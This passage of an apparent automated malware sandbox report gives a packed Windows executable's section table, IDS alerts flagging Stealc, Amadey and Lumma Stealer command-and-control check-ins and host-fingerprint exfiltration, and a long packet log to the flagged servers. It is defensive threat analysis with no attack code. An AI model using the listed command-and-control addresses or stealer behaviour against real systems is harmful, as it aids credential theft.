	0x1000	0x249000	0x16800	1b1ea9ea221e27d45e9d2bf228ed1807	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x400	7d7bb162cf234a09814100e90177015c	False	0.3642578125	data	5.190641450021211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oaygiznl	0x24c000	0x2ad000	0x2ad000	858430cc2503cd3e9cccf14aa67aaa6d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aqcomldw	0x4f9000	0x1000	0x400	602633a432b05b2786008c25319d03d9	False	0.8173828125	data	6.379540488113477	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4fa000	0x3000	0x2200	13123c6e718c3abc4a79b685e5a54f6c	False	0.09133731617647059	DOS executable (COM)	1.1204075011137935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T15:20:42.057633+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-18T15:20:42.498771+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-18T15:20:42.839062+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-18T15:20:43.160180+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-18T15:20:43.297096+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-18T15:20:44.595867+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-18T15:20:45.034530+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-18T15:21:12.273030+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:14.463621+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:15.846213+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:17.214411+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:22.751225+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:23.738887+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49771	185.215.113.206	80	TCP
2024-12-18T15:21:30.761959+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49817	185.215.113.16	80	TCP
2024-12-18T15:22:05.705710+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49899	185.215.113.43	80	TCP
2024-12-18T15:22:10.164725+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49910	31.41.244.11	80	TCP
2024-12-18T15:22:17.869425+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49906	TCP
2024-12-18T15:22:18.445123+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49919	104.21.12.88	443	TCP
2024-12-18T15:22:19.267094+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49920	185.215.113.43	80	TCP
2024-12-18T15:22:19.483088+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49919	104.21.12.88	443	TCP
2024-12-18T15:22:19.483088+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49919	104.21.12.88	443	TCP
2024-12-18T15:22:20.717892+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49921	31.41.244.11	80	TCP
2024-12-18T15:22:20.781722+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49922	104.21.12.88	443	TCP
2024-12-18T15:22:28.008922+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49923	185.215.113.43	80	TCP
2024-12-18T15:22:29.455207+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49924	31.41.244.11	80	TCP
2024-12-18T15:22:34.762320+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.5	52977	1.1.1.1	53	UDP
2024-12-18T15:22:34.973134+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49925	185.215.113.43	80	TCP
2024-12-18T15:22:34.982399+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	63033	1.1.1.1	53	UDP
2024-12-18T15:22:36.426808+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49926	31.41.244.11	80	TCP
2024-12-18T15:22:36.802767+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49927	172.67.179.109	443	TCP
2024-12-18T15:22:36.802767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49927	172.67.179.109	443	TCP
2024-12-18T15:22:37.746082+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49927	172.67.179.109	443	TCP
2024-12-18T15:22:37.746082+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49927	172.67.179.109	443	TCP
2024-12-18T15:22:38.969149+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.5	49928	172.67.179.109	443	TCP
2024-12-18T15:22:38.969149+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49928	172.67.179.109	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 15:20:30.761420965 CET	49674	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:30.761425018 CET	49675	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:30.870836973 CET	49673	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:39.804775953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:39.924880028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:39.924966097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:39.925221920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:40.044747114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:40.370893955 CET	49674	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:40.370902061 CET	49675	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:40.480190039 CET	49673	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:41.258204937 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:41.258332014 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:41.266444921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:41.386136055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:42.057471991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:42.057632923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:42.059218884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:42.179069042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:42.498596907 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:42.498621941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:42.498770952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:42.717674017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:42.717834949 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:42.719429970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:42.839061975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:42.865995884 CET	443	49703	23.1.237.91	192.168.2.5
Dec 18, 2024 15:20:42.866117001 CET	49703	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:43.160108089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.160145044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.160156012 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.160180092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.160224915 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.160233974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.160245895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.160260916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.160274029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.160300016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.167963028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.168025970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.177170992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.297096014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.615266085 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.615326881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.638602018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.638653040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:43.758066893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.758094072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.758183002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.758193016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.758316994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:43.758331060 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:44.595721960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:44.595866919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:44.596822977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:44.716401100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.034389973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.034426928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.034529924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.034571886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.036531925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.036588907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.036612988 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.036657095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.045001984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.045053005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.045072079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.045101881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.053329945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.053410053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.053589106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.053642988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.061742067 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.061784983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.061810017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.061829090 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.070113897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.070174932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.070194960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.070215940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.159717083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.159738064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.159866095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.162157059 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.162216902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.162293911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.162339926 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.170558929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.170578003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.170624971 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.175555944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.175625086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.175714016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.175754070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.184051991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.184134007 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.184153080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.184190035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.192287922 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.192357063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.226202965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.226350069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.226368904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.226413965 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.230366945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.230479002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.231908083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.231971025 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.231978893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.232013941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.240287066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.240366936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.240380049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.240411043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.249129057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.249149084 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.249192953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.249233961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.257098913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.257149935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.257183075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.257219076 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.265439987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.265503883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.265525103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.265563011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.273823023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.273883104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.289262056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.289323092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.289360046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.289808035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.292974949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.293050051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.293059111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.293100119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.300311089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.300371885 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.300441980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.300487995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.307583094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.307652950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.307698011 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.307734013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.314524889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.314596891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.384234905 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.384332895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.384361029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.384408951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.387119055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.387167931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.387207031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.387247086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.392894983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.392913103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.392956018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.398626089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.398713112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.398741961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.398796082 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.404351950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.404392004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.404424906 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.404459000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.410124063 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.410168886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.410212040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.410257101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.415846109 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.415910959 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.415963888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.416002035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.421607018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.421648979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.421675920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.421701908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.440172911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440201998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440216064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440253019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.440294981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.440331936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440344095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440356016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440367937 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440380096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.440407991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.440447092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.440481901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.441996098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.442049026 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.442111969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.442146063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.445605993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.445681095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.445684910 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.445729017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.449435949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.449491024 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.449506998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.449528933 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.452953100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.453012943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.453075886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.453119040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.456557989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.456615925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.456643105 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.456677914 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.460316896 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.460412025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.460423946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.460453987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.463948965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.464030981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.464082956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.464126110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.467689037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.467714071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.467772007 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.504076004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.504143000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.504153967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.504192114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.505865097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.505922079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.506031990 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.506074905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.509552002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.509613037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.509665966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.509707928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.513221025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.513274908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.513324976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.513366938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.516958952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.517002106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.517024040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.517050028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.520649910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.520689964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.520699024 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.520729065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.524216890 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.524292946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.524359941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.524401903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.576235056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.576301098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:45.576334000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.576813936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:45.577780008 CET	80	49704	185.215.113.206	192.168.2.5
